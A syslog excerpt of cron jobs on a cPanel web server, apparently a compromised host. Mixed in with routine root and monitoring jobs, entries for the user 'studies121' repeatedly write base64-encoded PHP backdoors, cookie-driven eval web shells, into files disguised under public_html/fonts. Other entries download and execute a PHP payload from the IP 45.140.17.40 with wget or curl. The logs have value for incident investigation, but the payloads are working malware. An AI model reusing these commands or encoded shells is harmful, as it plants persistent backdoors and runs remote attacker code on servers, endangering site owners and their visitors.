Sep  5 04:08:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:08:01 ip-184-168-122-23 CROND[5147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:08:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:09:01 ip-184-168-122-23 CROND[5234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:09:01 ip-184-168-122-23 CROND[5236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:09:01 ip-184-168-122-23 CROND[5237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:09:01 ip-184-168-122-23 CROND[5238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:09:01 ip-184-168-122-23 CROND[5239]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:10:01 ip-184-168-122-23 CROND[5342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:10:01 ip-184-168-122-23 CROND[5343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:11:01 ip-184-168-122-23 CROND[5456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:11:01 ip-184-168-122-23 CROND[5457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:11:01 ip-184-168-122-23 CROND[5458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:11:01 ip-184-168-122-23 CROND[5459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:12:01 ip-184-168-122-23 CROND[5585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:12:01 ip-184-168-122-23 CROND[5587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:12:01 ip-184-168-122-23 CROND[5588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:12:01 ip-184-168-122-23 CROND[5590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:12:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:13:01 ip-184-168-122-23 CROND[5753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:13:01 ip-184-168-122-23 CROND[5755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:13:01 ip-184-168-122-23 CROND[5756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:13:01 ip-184-168-122-23 CROND[5757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:14:01 ip-184-168-122-23 CROND[5838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:14:01 ip-184-168-122-23 CROND[5841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:14:01 ip-184-168-122-23 CROND[5842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:14:01 ip-184-168-122-23 CROND[5843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:14:01 ip-184-168-122-23 CROND[5844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5951]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:15:01 ip-184-168-122-23 CROND[5955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:15:01 ip-184-168-122-23 CROND[5950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:16:01 ip-184-168-122-23 CROND[6056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:16:01 ip-184-168-122-23 CROND[6058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:16:01 ip-184-168-122-23 CROND[6060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:16:01 ip-184-168-122-23 CROND[6057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:16:01 ip-184-168-122-23 CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:16:01 ip-184-168-122-23 CROND[6061]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:17:01 ip-184-168-122-23 CROND[6188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:17:01 ip-184-168-122-23 CROND[6190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:17:01 ip-184-168-122-23 CROND[6189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:17:01 ip-184-168-122-23 CROND[6191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:18:01 ip-184-168-122-23 CROND[6273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:18:01 ip-184-168-122-23 CROND[6275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:18:01 ip-184-168-122-23 CROND[6277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:18:01 ip-184-168-122-23 CROND[6278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:18:01 ip-184-168-122-23 CROND[6276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:19:01 ip-184-168-122-23 CROND[6377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:19:01 ip-184-168-122-23 CROND[6378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:19:01 ip-184-168-122-23 CROND[6380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:19:01 ip-184-168-122-23 CROND[6379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
